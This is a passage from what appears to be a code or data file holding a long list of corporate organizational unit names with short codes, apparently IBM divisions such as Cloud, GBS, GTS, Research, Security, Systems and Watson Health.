Platform|82-FndEvntMSvc','Cloud|Cloud Top','Cloud|Cloud Top|Y1-RedHatSynrgy','Cloud|Cloud Top|SL-Cloud Top','Cloud|Cloud Top|RH-Red Hat','Cloud|CloudLabSvcs','Cloud|CloudLabSvcs|DG-ExpLabGSE','Cloud|CloudLabSvcs|AH-Garage Svcs','Cloud|CloudLabSvcs|TE-GrgRefArch','Cloud|CloudLabSvcs|KO-GrgMktComm','Cloud|CloudLabSvcs|0L-TeamEduc','Cloud|CloudLabSvcs|PY-CldLabsTop','Cloud|Data and AI','Cloud|Data and AI|IU-DEVGRC','Cloud|Data and AI|IS-FSSCustS&S','Cloud|Data and AI|C1-FSSCloud','Cloud|Data and AI|FY-WatsonFSSTop','Cloud|Data and AI|IX-OMWFS','Cloud|Data and AI|IR-FSSLabSvcs','Cloud|Data and AI|IZ-FSSSaaS','Cloud|Data and AI|8E-DEVRisk','Cloud|Data and AI|0K-DEVSaferPaym','Cloud|Data and AI|8P-CommPayments','Cloud|Data and AI|8N-DEVTop','Cloud|Data and AI|8M-CIOpenBank','Cloud|Data and AI|WY-GSLISLOPS','Cloud|Data and AI|FR-CldIntDesign','Cloud|Data and AI|8J-RiskOMFEBAIV','Cloud|Data and AI|8I-AlgoCloud','Cloud|Data and AI|7M-DEVFinCrimes','Cloud|Data and AI|8K-Risk Service','Cloud|Data and AI|8L-DevOMSPM','Cloud|Data and AI|WV-BADigitSaaS','Cloud|Data and AI|9G-BA LabSvcs','Cloud|Data and AI|SP-Data Science','Cloud|Data and AI|LM-IGBigInsght','Cloud|Data and AI|SB-AnalytsDB2z','Cloud|Data and AI|LL-Data&Digital','Cloud|Data and AI|TL-CloudStreams','Cloud|Data and AI|S9-AN LabSvcs','Cloud|Data and AI|9L-BAOM','Cloud|Data and AI|77-AI for Dev','Cloud|Data and AI|7A-AIApps&Solns','Cloud|Data and AI|6A-AI OM','Cloud|Data and AI|S1-DigitalStrat','Cloud|Data and AI|TT-AnalyticsDev','Cloud|Data and AI|69-AI Other','Cloud|Data and AI|LW-Ops&DevIT','Cloud|Data and AI|FS-BADev','Cloud|Data and AI|9F-AIEcoSPET','Cloud|Data and AI|IP-TSDLOPS','Cloud|Data and AI|IK-DataAISucces','Cloud|Data and AI|IV-WADev','Cloud|Data and AI|OW-AnalytsDesgn','Cloud|Data and AI|RS-AIGlobalBus','Cloud|Data and AI|PK-Consumption','Cloud|Data and AI|LY-OM','Cloud|Data and AI|CL-BASupport','Cloud|Data and AI|KV-AnalyticsTop','Cloud|Data and AI|IQ-BADesign','Cloud|IBM Design','Cloud|IBM Design|SF-IBM Design','Cloud|Sec&CogAppsMktg','Cloud|Sec&CogAppsMktg|FW-SecurityMktg','Cloud|Sec&CogAppsMktg|EF-WMW Mktg','Cloud|Sec&CogAppsMktg|EB-WCE Mktg','Cloud|Sec&CogAppsMktg|DQ-IoTMarketing','Cognitive Apps','Cognitive Apps|Cog App Top','Cognitive Apps|Cog App Top|QD-DBG Top','Cognitive Apps|Cog App Top|D8-SolsTop','Cognitive Apps|Cog App Top|3S-W&CPTop','Cognitive Apps|Collab Sols','Cognitive Apps|Collab Sols|4C-Wwork_BoxRly','Cognitive Apps|Collab Sols|QK-Connections','Cognitive Apps|Collab Sols|RN-CS_TopOther','Cognitive Apps|Collab Sols|L1-DublinLab','Cognitive Apps|Collab Sols|L3-SvcSupSuc','Cognitive Apps|Collab Sols|RU-SalesStf','Cognitive Apps|Collab Sols|UR-OpsDelivery','Cognitive Apps|CSU Services','Cognitive Apps|CSU Services|59-CSU SaaS Sls','Cognitive Apps|DEG','Cognitive Apps|DEG|SJ-DEG','Cognitive Apps|DigitalPlatform','Cognitive Apps|DigitalPlatform|SG-CloudDigital','Cognitive Apps|OpenmarketPlace','Cognitive Apps|OpenmarketPlace|WX-OCT&A','Cognitive Apps|TalentMgmtSolns','Cognitive Apps|TalentMgmtSolns|2W-TMSCustSuc','Cognitive Apps|TalentMgmtSolns|43-TMS_TopOther','Cognitive Apps|TalentMgmtSolns|3Y-EngineerTop','Cognitive Apps|TalentMgmtSolns|4B-Consult_SWI','Cognitive Apps|TalentMgmtSolns|QL-OM&Design','Cognitive Apps|TalentMgmtSolns|37-TMS OM&D','Cognitive Apps|Watson IoT','Cognitive Apps|Watson IoT|Q7-IoTClntSuc','Cognitive Apps|Watson IoT|T4-IoT Platform','Cognitive Apps|Watson IoT|S2-IoT Devl','Cognitive Apps|Watson IoT|TC-IoT GM Top','Cognitive Apps|Watson IoT|AU-IoT CE','Cognitive Apps|Watson IoT|TI-IoTOffgMgmt','Cognitive Apps|Watson M&W','Cognitive Apps|Watson M&W|41-WMW Top','Cognitive Apps|Watson M&W|TN-Development','Cognitive Apps|Watson M&W|LT-COO','Cognitive Apps|Watson M&W|RQ-B2C','Cognitive Apps|Watson M&W|CQ-B2C Sales','Cognitive Apps|Watson M&W|SZ-B2B','Cognitive Apps|Watson M&W|7K-WWSales','Cognitive Apps|Watson M&W|JT-Meteo&Sci','Cognitive Apps|WatsonCustEngag','Cognitive Apps|WatsonCustEngag|2P-Serv&SuppTop','Cognitive Apps|WatsonCustEngag|1A-SaaSDevSCCom','Cognitive Apps|WatsonCustEngag|ZL-RapidSolCtr','Cognitive Apps|WatsonCustEngag|HS-WW Sales','Cognitive Apps|WatsonCustEngag|PJ-WCE Top','Cognitive Apps|WatsonCustEngag|ZJ-AppDelivery','Cognitive Apps|WatsonCustEngag|7W-WCE Support','Cognitive Apps|WatsonCustEngag|LA-OnPremDev','Cognitive Apps|WatsonCustEngag|1C-OffMngt','Cognitive Apps|WatsonCustEngag|1H-Sales&OM Top','Cognitive Apps|WatsonCustEngag|1I-Design','Cognitive Apps|WatsonCustEngag|7U-WCEClientSuc','Cognitive Apps|WatsonCustEngag|7V-OMSupChain','Cognitive Apps|WatsonCustEngag|1D-SaaSDevMktg','Cognitive Apps|WatsonCustEngag|TF-Dev Top','Digital Sales','Digital Sales|Digital Sales','Digital Sales|Digital Sales|F4-GlMk ibm.com','Digital Sales|Digital Sales|ZB-Inside Sales','F&O','F&O|BusArch Trans','F&O|BusArch Trans|E9-Fin ISC','F&O|BusArch Trans|DO-HR ISC','F&O|BusArch Trans|Z9-Bus Transf','F&O|CDO','F&O|CDO|XU-GblCMD','F&O|CFO','F&O|CFO|7Z-Accounting','F&O|CFO|AQ-PricingIGS','F&O|CFO|LN-SWGFinOther','F&O|CFO|JX-CorpDev','F&O|CFO|JP-CFO Staff','F&O|CFO|E8-SWGF F&P','F&O|CFO|EK-SWGFinStf','F&O|CFO|FI-Finance','F&O|CFO|FF-GlMkt Fin','F&O|CFO|F1-GlMkt ExeStf','F&O|CFO|J4-Treasurer','F&O|CFO|J5-Aud&BusCtrl','F&O|CFO|J3-Controller','F&O|ChiefAnalytOfcr','F&O|ChiefAnalytOfcr|JY-AnalytcStaff','F&O|CIO','F&O|CIO|0D-CFOBUSOPS','F&O|CIO|0A-AGILE','F&O|CIO|0B-DIGITAL','F&O|CIO|0C-CORPAPPS','F&O|CIO|0E-INFRASTRUCT','F&O|CIO|0I-SERVICES','F&O|CIO|0G-FULFILLMENT','F&O|CIO|JM-CIOSTAFF','F&O|CIO|0J-CLOUD','F&O|CIO|9Q-SOCIAL','F&O|CIO|9X-INTEGRATION','F&O|CIO|0F-SYS&SUPCHN','F&O|CIO|I1-SIMPLIFIC','F&O|CIO|0H-WAAS','F&O|CISO','F&O|CISO|0Q-ITRISK','F&O|ClientAdvOff','F&O|ClientAdvOff|JG-ClientAdvOff','F&O|CST','F&O|CST|79-NLS&Global','F&O|CST|U8-FutureIBMSpt','F&O|EntPerfMgmt','F&O|EntPerfMgmt|WK-EPM','F&O|EntSvBusInt&Tns','F&O|EntSvBusInt&Tns|XJ-SWD','F&O|EntSvBusInt&Tns|XO-AnlAcq&Strat','F&O|EntSvBusInt&Tns|XM-Q2C','F&O|EntSvBusInt&Tns|XR-StratOps','F&O|EntSvBusInt&Tns|XN-EntBusAgity','F&O|EntSvBusInt&Tns|Y4-GTSAM','F&O|EntSvGblSCQ&I','F&O|EntSvGblSCQ&I|2U-SC&T','F&O|EntSvGblSCQ&I|XG-SCQ&I','F&O|EntSvQ2C','F&O|EntSvQ2C|XB-EOS_CN','F&O|EntSvQ2C|HF-GTSCMPA','F&O|EntSvQ2C|BS-GBSCMPA','F&O|EntSvQ2C|XS-APJPGCGQ2C','F&O|EntSvQ2C|ZX-NALAQ2C','F&O|EntSvQ2C|XT-EUMEAQ2C','F&O|GlblProcurement','F&O|GlblProcurement|P9-Systems','F&O|GlblProcurement|PD-StrategicSrc','F&O|GlblProcurement|P8-AcctsPayable','F&O|GlblProcurement|P5-S&GP','F&O|GlblProcurement|ID-IPS Del','F&O|GlblProcurement|P4-IPS Ops','F&O|GlblProcurement|P2-ProcOps&Staf','F&O|GlblProcurement|WH-GlblLog','F&O|GlblProcurement|P3-Transform','F&O|GlblProcurement|9U-Geodis','F&O|GlblRealEstate','F&O|GlblRealEstate|55-RealEstate','F&O|GlblRealEstate|RE-Re/So','F&O|SMS','F&O|SMS|GC-SMS','GBS','GBS|Bus Support','GBS|Bus Support|SU-GPS_GIC','GBS|Bus Support|LU-HQG_DOM','GBS|Bus Support|JU-IOS_DOM','GBS|Bus Support|SV-GPS_DOM','GBS|Bus Support|UW-IOS_COCG','GBS|Bus Support|1V-IOS_GIC','GBS|Bus Support|2O-FED_DOM','GBS|Bus Support|8F-FED_ISC','GBS|Bus Support|0N-IOS_COCD','GBS|Bus Support|V0-SOL_GIC','GBS|Bus Support|FQ-HQG_GIC','GBS|Bus Support|UU-BS_WTOPIU','GBS|Bus Support|Z1-BS_WTOP','GBS|Bus Support|PQ-BS_WTOPIU','GBS|Bus Support|KL-HQG_ISC','GBS|Cloud App Innov','GBS|Cloud App Innov|70-EAM_DOM','GBS|Cloud App Innov|KY-CAM_DOM','GBS|Cloud App Innov|M4-FCAI_DOM','GBS|Cloud App Innov|NJ-CAM_ISC','GBS|Cloud App Innov|4D-AMI_ISC','GBS|Cloud App Innov|9C-EAM_GIC','GBS|Cloud App Innov|VX-AMI_GIC','GBS|Cloud App Innov|VW-CAM_GIC','GBS|Cloud App Innov|ZA-CA_COCD','GBS|Cloud App Innov|KQ-AMI_DOM','GBS|Cloud App Innov|NK-EAM_ISC','GBS|Cloud App Innov|0O-FCAI_ISC','GBS|Cloud App Innov|NL-CA_COCG','GBS|Cloud App Innov|2Q-EAM_ISCIU','GBS|Cloud App Innov|8W-CAM_DOMIU','GBS|Cloud App Innov|2M-CAM_ISCIU','GBS|Cloud App Innov|LI-EAM_GICIU','GBS|Cloud App Innov|KR-CAM_GICIU','GBS|Cloud App Innov|KP-AMI_GICIU','GBS|Cloud App Innov|9N-EAM_DOMIU','GBS|Cloud App Innov|03-AMI_ISCIU','GBS|Cloud App Innov|64-EAM_COCDIU','GBS|Cloud App Innov|3G-CAM_COCDIU','GBS|Cloud App Innov|9B-AMI_COCDIU','GBS|Cloud App Innov|8C-AMI_DOMIU','GBS|Cog Proc Trans','GBS|Cog Proc Trans|WU-CP_COCG','GBS|Cog Proc Trans|MW-CPR_COCDIU','GBS|Cog Proc Trans|6R-CPSG_COCDIU','GBS|Cog Proc Trans|M7-CPSG_GICIU','GBS|Cog Proc Trans|DV-CPSG_DOMIU','GBS|Cog Proc Trans|3Q-CPR_ISCIU','GBS|Cog Proc Trans|HO-CPSK_DOMIU','GBS|Cog Proc Trans|MZ-CPSK_GICIU','GBS|Cog Proc Trans|BJ-CPR_DOMIU','GBS|Cog Proc Trans|M3-CPR_GICIU','GBS|Cog Proc Trans|MP-CPSK-COCDIU','GBS|Cog Proc Trans|TU-CP_COCD','GBS|Cog Proc Trans|ZW-FCPT_ISC','GBS|Cog Proc Trans|KM-CP_COCD','GBS|Cog Proc Trans|TO-CP_COCG','GBS|Cog Proc Trans|ZT-CP_COCD','GBS|Cog Proc Trans|NS-CPR_ISC','GBS|Cog Proc Trans|FO-CPSK_DOM','GBS|Cog Proc Trans|NM-CDS_ISC','GBS|Cog Proc Trans|M8-CP_COCG','GBS|Cog Proc Trans|KW-FCPT_DOM','GBS|Cog Proc Trans|DD-CDS_GIC','GBS|Cog Proc Trans|M9-CPSG_GIC','GBS|Cog Proc Trans|JO-CPSG_DOM','GBS|Cog Proc Trans|JV-CPR_DOM','GBS|Cog Proc Trans|OD-CPR_GIC','GBS|Cog Proc Trans|23-CPSK_GIC','GBS|Cog Proc Trans|O4-CDS_DOM','GBS|Cog Proc Trans|24-CPSK_ISC','GBS|Cog Proc Trans|UV-CPSG_ISC','GBS|Dig Strat & iX','GBS|Dig Strat & iX|MS-DST_COCDIU','GBS|Dig Strat & iX|Q0-DXX_COCDIU','GBS|Dig Strat & iX|2N-DI_COCD','GBS|Dig Strat & iX|KT-FDXX_DOM','GBS|Dig Strat & iX|KX-FDXX_ISC','GBS|Dig Strat & iX|KZ-DST_DOM','GBS|Dig Strat & iX|MY-DXX_ISC','GBS|Dig Strat & iX|KS-DXX_DOM','GBS|Dig Strat & iX|OX-DI_COCG','GBS|Dig Strat & iX|0M-DXX_GIC','GBS|Dig Strat & iX|0P-DST_ISC','GBS|Dig Strat & iX|2V-DST_GIC','GBS|Dig Strat & iX|NT-DXX_GICIU','GBS|Dig Strat & iX|NH-DST_GICIU','GBS|Dig Strat & iX|KN-DXX_DOMIU','GBS|Dig Strat & iX|K1-DST_DOMIU','GBS|Dig Strat & iX|87-DXX_ISCIU','GBS|Dig Strat & iX|6F-DST_ISCIU','GF','GF|BusSuppOps','GF|BusSuppOps|HU-BusSupOps','GF|BusTrans GF','GF|BusTrans GF|N9-IGF IT','GF|BusTrans GF|N8-IGFBusTr','GF|Comm GF','GF|Comm GF|N3-IGFComm','GF|Contr & Neg','GF|Contr & Neg|VI-Contr&Neg','GF|Fin GF','GF|Fin GF|N1-IGF Acctg','GF|Fin GF|VN-Planning','GF|Fin GF|VM-FinBusDev','GF|Fin GF|VL-Fin Sys','GF|Fin GF|VK-Credit','GF|Fin GF|VJ-BusCntrls','GF|Fin GF|N2-IGF OthrFin','GF|Fin GF|NG-IGFExStf','GF|Fin GF|ZM-IGF Pricing','GF|HR GF','GF|HR GF|NC-IGFHR','GF|Legal GF','GF|Legal GF|N4-IGFLeg','GF|Mktg&Strategy','GF|Mktg&Strategy|NP-IGF MktgStr','GF|Sales','GF|Sales|VQ-GARS','GF|Sales|VP-Commerical','GF|Sales|VO-Client','GLMKT','GLMKT|Cloud Sales','GLMKT|Cloud Sales|AX-CldSales Mkt','GLMKT|Cloud Sales|81-CldSales Geo','GLMKT|Cloud Sales|F7-CldSales WW','GLMKT|Cloud Sales|4A-RedHatSynrgy','GLMKT|CSUIP Sales','GLMKT|CSUIP Sales|9T-Dassault','GLMKT|CSUIP Sales|AJ-CSUIPSls Mkt','GLMKT|CSUIP Sales|16-CSUIPSls Geo','GLMKT|CSUIP Sales|56-CSUIPSls WW','GLMKT|Gbl Bus Ptnrs','GLMKT|Gbl Bus Ptnrs|50-GBP WW','GLMKT|Gbl Bus Ptnrs|57-GBP Mkt','GLMKT|Gbl Bus Ptnrs|97-GBP Geo','GLMKT|GLMKT Non Brand','GLMKT|GLMKT Non Brand|O7-GlblMktMkt','GLMKT|GLMKT Non Brand|EI-Tech Line','GLMKT|GLMKT Non Brand|H5-GlblMktGeo','GLMKT|GLMKT Non Brand|83-GlblMktWW','GLMKT|Security Sales','GLMKT|Security Sales|5B-SecSales Geo','GLMKT|Security Sales|ZN-SecSales Mkt','GLMKT|Sys HW Sales','GLMKT|Sys HW Sales|F8-SysHWSls Geo','GLMKT|Sys HW Sales|F3-SysHWSls WW','GLMKT|Sys HW Sales|GF-SysHWSls Mkt','GLMKT|SysSWSales','GLMKT|SysSWSales|4F-SysSWSls Geo','GLMKT|SysSWSales|H4-SysSWSls WW','GLMKT|SysSWSales|HZ-SysSWSls Mkt','GLMKT|Unknown','GLMKT|Unknown|0Z-DoNotUse','GLMKT|Works Council','GLMKT|Works Council|ZI-WorksCouncil','GTS','GTS|Cloud Solutions','GTS|Cloud Solutions|HJ-Cloud Sol','GTS|GlobalOps','GTS|GlobalOps|8H-GblOps','GTS|GTS AP Geo','GTS|GTS AP Geo|NO-AP Geo','GTS|GTS D&IO','GTS|GTS D&IO|CX-EP Delivery','GTS|GTS D&IO|A4-Global CICs','GTS|GTS D&IO|DC-IGA SvcDel','GTS|GTS D&IO|W9-CustMgmtT&T','GTS|GTS D&IO|HC-Risk&CompMgt','GTS|GTS D&IO|Y2-Solutioning','GTS|GTS D&IO|DM-EntHybrdCld','GTS|GTS D&IO|AZ-CldMigrFact','GTS|GTS D&IO|R9-DesksideSvcs','GTS|GTS D&IO|G0-AP Delivery','GTS|GTS D&IO|VV-MEA Delivery','GTS|GTS D&IO|96-Resiliency','GTS|GTS D&IO|9O-WorkModSvcs','GTS|GTS D&IO|93-GCG Delivery','GTS|GTS D&IO|7Y-JP Delivery','GTS|GTS D&IO|8V-PrjctSvcsDel','GTS|GTS D&IO|3E-NA Delivery','GTS|GTS D&IO|2X-ServiceDesk','GTS|GTS D&IO|OG-IMV','GTS|GTS D&IO|U6-Id&AcsMgmt','GTS|GTS D&IO|VT-MainFrameSvc','GTS|GTS D&IO|31-LA Delivery','GTS|GTS D&IO|1Z-TechInn&Auto','GTS|GTS Europe Geo','GTS|GTS Europe Geo|NB-Europe Geo','GTS|GTS GCG Geo','GTS|GTS GCG Geo|R0-GCG Geo','GTS|GTS Japan Geo','GTS|GTS Japan Geo|MU-Japan Geo','GTS|GTS LA Geo','GTS|GTS LA Geo|RW-LA Geo','GTS|GTS Leadership','GTS|GTS Leadership|PU-GTSLeaders','GTS|GTS MEA Geo','GTS|GTS MEA Geo|7E-MEA Geo','GTS|GTS NA Geo','GTS|GTS NA Geo|6D-NA Svc Lines','GTS|GTS NA Geo|6M-NA Com Sec','GTS|GTS NA Geo|88-NA Dist Sec','GTS|GTS NA Geo|1Y-NA FSS Sec','GTS|GTS NA Geo|8X-NA Geo','GTS|GTS NA Geo|U4-NA IndSec','GTS|GTS NA Geo|NQ-NA Pub Sec','GTS|InfraSvcs','GTS|InfraSvcs|8U-InfraSvcs','GTS|InfraSvcs|MK-IS Sales','GTS|Managed Apps','GTS|Managed Apps|2K-Mg App Sales','GTS|Managed Apps|4H-MgAppEng&Del','GTS|Managed Apps|DF-Mg App Dev','GTS|Managed Apps|1T-Mg App Top','GTS|TSS','GTS|TSS|MJ-TSS OC2 STG','GTS|TSS|MH-TSS OC2 SW','GTS|TSS|48-TSS','GTS|TSS|ML-TSS Sales','Industry Plat','Industry Plat|Blockchain','Industry Plat|Blockchain|C0-BlkchainRes','Industry Plat|Blockchain|QZ-BlockChain','Industry Plat|Blockchain|B0-BlkchainSol','Industry Plat|Global Ind','Industry Plat|Global Ind|LB-GlbIndustry','Industry Plat|Integrated Acc','Industry Plat|Integrated Acc|L7-IntAccounts','Industry Plat|Part&Alliance','Industry Plat|Part&Alliance|LV-GblAlliance','Industry Plat|Promontory','Industry Plat|Promontory|CM-Promontory','Industry Plat|Strategy&Mktng','Industry Plat|Strategy&Mktng|58-StratMktTop','Research','Research|AI&Quantum','Research|AI&Quantum|4R-AI&Quantum','Research|Albany','Research|Albany|0V-Albany','Research|Almaden','Research|Almaden|R4-Almaden','Research|CaaS','Research|CaaS|TZ-CogNextGen','Research|CaaS|4T-CloudCogPlat','Research|CaaS|SY-DataCentrSol','Research|DivTop','Research|DivTop|R7-DivTop','Research|Education','Research|Education|Y3-WtsonEdu','Research|Ind&Sols','Research|Ind&Sols|51-Ind&Sols','Research|IPGovPgm','Research|IPGovPgm|R3-IPGP','Research|PhySci&GovProg','Research|PhySci&GovProg|R5-PhySci&Gov','Research|Res Geo','Research|Res Geo|T6-ResLabZurIrl','Research|Res Geo|H7-ResLabHaifa','Research|Res Geo|22-GEOlabs','Research|ResBusDev','Research|ResBusDev|IJ-ResBusDev','Research|TechOps','Research|TechOps|R2-ResStratOps','Security','Security|SecClientSuc','Security|SecClientSuc|T3-SecLabSvcs','Security|SecClientSuc|9K-SecClientSuc','Security|Security Top','Security|Security Top|4Z-XForceCC&TI','Security|Security Top|9J-SecurityTop','Security|SecuritySols','Security|SecuritySols|7O-I2&Threat','Security|SecuritySols|3U-Sec Dev','Security|SecuritySols|4N-Trusteer','Security|SecuritySvcs','Security|SecuritySvcs|1G-MgdSecSvcs','Security|SecuritySvcs|YT-MSS Other','Security|SecuritySvcs|YL-MSS Deploy','Security|SecuritySvcs|9E-SecSalesPFM','Security|SecuritySvcs|9D-SecConsltSvc','Security|SecuritySvcs|MV-MgdSecSvcsGD','Security|SecuritySvcs|YN-MSS Cloud','Security|SecuritySvcs|9A-WWSvcsTop','Security|SecuritySvcs|H3-InfraEptSec','Security|SecuritySvcs|HI-CrssSecSvcs','Systems','Systems|GblBusPrtnrs','Systems|GblBusPrtnrs|F6-Gbl Partners','Systems|GblBusPrtnrs|QW-WWChnlSlsSWG','Systems|IBM Z','Systems|IBM Z|UC-zO/SSWDev','Systems|IBM Z|A1-Systemz','Systems|IBM Z|S7-SyszIntTech','Systems|IBM Z|0S-SyszHWDev','Systems|IBM Z|Q2-Dev GenSW','Systems|IBM Z|PZ-SyszSWDev','Systems|Marketing','Systems|Marketing|B6-DemandGen','Systems|Marketing|B9-MktCmmSlsTop','Systems|Marketing|AE-MgtStrat','Systems|OpenPower','Systems|OpenPower|GU-OpenPwr','Systems|Power','Systems|Power|RL-ISVStrtEnbl','Systems|Power|UK-PwrSysHWDev','Systems|Power|1N-SysPerfSOCC','Systems|Power|1L-MktgPwrzSys','Systems|Power|KU-PwrSysPrgMg','Systems|Power|BE-ISVMktgEnbl','Systems|Power|OZ-i5SWAppDev','Systems|Power|OY-FWAIXSWDEV','Systems|Power|QE-CogPrivCloud','Systems|Power|SE-EcoSysDevISV','Systems|Power|A3-Power','Systems|S&O - Micro','Systems|S&O - Micro|3M-SilicnSolEng','Systems|S&O - Micro|E0-SCBusDevOps','Systems|S&O - Micro|PM-MfgOpsStAll','Systems|S&O - Micro|CT-300MS/COpns','Systems|S&O - Micro|CS-S/Csolns','Systems|S&O - Micro|0T-FacilFLE','Systems|S&O - Micro|CP-WWPkg&Test','Systems|S&O - Micro|CJ-SalesDel','Systems|S&O - Micro|CB-MD Brand','Systems|S&O - Micro|CA-Quality','Systems|S&O - Micro|C7-SRDC','Systems|S&O - Micro|C3-S/Csales','Systems|S&O - Micro|CN-SupplyChain','Systems|StDev_Ar&Tech','Systems|StDev_Ar&Tech|HK-Archit&Tech','Systems|StDev_ClntAdv','Systems|StDev_ClntAdv|UE-SystemsTest','Systems|StDev_ClntAdv|BO-StorTechSupt','Systems|StDev_ClntAdv|HQ-CogTechSupt','Systems|StDev_ClntAdv|RF-ClientAdvoc','Systems|StDev_ClntAdv|PL-IBMZTechSupt','Systems|StDev_EntSys','Systems|StDev_EntSys|UI-TechHWDev','Systems|StDev_EntSys|2Y-HWPrgMgmt','Systems|StDev_EntSys|3K-Design/PE','Systems|StDev_EntSys|3L-EmerProdTech','Systems|StDev_EntSys|3N-PwrSysTech','Systems|StDev_EntSys|3O-EDA','Systems|StDev_EntSys|3P-SysZProcDev','Systems|StDev_EntSys|1K-SysHWDev','Systems|StDev_EntSys|BY-ISDev','Systems|StDev_Mfg&GE','Systems|StDev_Mfg&GE|AR-HW Mfg-G','Systems|StDev_Mfg&GE|AT-HW Mfg-MA','Systems|StDev_Mfg&GE|Y8-HWMfg-T','Systems|StDev_Mfg&GE|YA-HWMgf-Y','Systems|StDev_Mfg&GE|YD-HWMfg-SZ','Systems|StDev_Mfg&GE|YH-HWMfg-R','Systems|StDev_Mfg&GE|P1-ProcWWEngr','Systems|StDev_Mfg&GE|PA-WWMat&SA','Systems|StDev_Mfg&GE|HH-BrandExecu','Systems|StDev_Mfg&GE|AI-HW Mfg-S','Systems|StDev_Mfg&GE|AO-HW Mfg-MO','Systems|StDev_Mfg&GE|BI-HiValueExec','Systems|StDev_Mfg&GE|H8-Transform','Systems|StDev_Mfg&GE|YS-DemandPlnInv','Systems|StDev_Mfg&GE|YM-WWMfgStf','Systems|StDev_Mfg&GE|YJ-HWMfg-P','Systems|StDev_Mfg&GE|YK-HWMfg-V','Systems|StDev_Micro','Systems|StDev_Micro|CW-200mmS/Cmfg','Systems|StDev_OpenSysDv','Systems|StDev_OpenSysDv|UB-OpenSysSWDev','Systems|StDev_ShdTechOp','Systems|StDev_ShdTechOp|AG-STGOpsTop','Systems|StDev_ShdTechOp|PN-SWRltyMgmt','Systems|StDev_ShdTechOp|2T-CIO/IT','Systems|StDev_ShdTechOp|AN-DevOps','Systems|StDev_TecCmpDev','Systems|StDev_TecCmpDev|OR-TechCompDev','Systems|StDev_TechStrat','Systems|StDev_TechStrat|UA-SWPgmMgmt','Systems|StDev_TechStrat|SI-TechStrat','Systems|Storage','Systems|Storage|SA-StorTopDev','Systems|Storage|SD-StorHWDev2','Systems|Storage|UH-StorHWDev','Systems|Storage|AY-Storage','Systems|Storage|ON-StorSWDev','Systems|Storage|4G-PlatformComp','Systems|Storage|0U-Storwize','Systems|Strategy&Dev','Systems|Strategy&Dev|RG-Dev&MfgTop','Systems|Sys HWS L2','Systems|Sys HWS L2|1M-CompLabs','Systems|Sys HWS L2|UG-LabSvcs&TT','Systems|Sys HWS L2|BF-GlblMktsTop','Systems|Sys SWS L2','Systems|Sys SWS L2|QS-WWBrandSls','Systems|Systems Top','Systems|Systems Top|A8-SMS','Systems|Systems Top|AB-STG GenCnsl','Systems|Systems Top|BB-Comms','Systems|Systems Top|GP-SYSSW','Systems|Systems Top|BZ-STGTop','Systems|Systems Top|A7-STG F&P','Watson Health','Watson Health|WH_Development','Watson Health|WH_Development|LP-Development','Watson Health|WH_Gov&HHS','Watson Health|WH_Gov&HHS|7Q-Govt_HHS','Watson Health|WH_GTM','Watson Health|WH_GTM|6B-WHGTM','Watson Health|WH_Imaging','Watson Health|WH_Imaging|QX-Imaging','Watson Health|WH_Imp&Ops','Watson Health|WH_Imp&Ops|6L-Imp&Ops','Watson Health|WH_Innovates','Watson Health|WH_Innovates|6C-Innovates','Watson Health|WH_LS_Onc&Gen','Watson Health|WH_LS_Onc&Gen|RM-LS_Onc&Gen','Watson Health|WH_Payer','Watson Health|WH_Payer|6N-Payer','Watson Health|WH_Provider','Watson Health|WH_Provider|EZ-Provider','Watson Health|WH_Top','Watson Health|WH_Top|XV-HealthWWTop'],
2
+ 'array');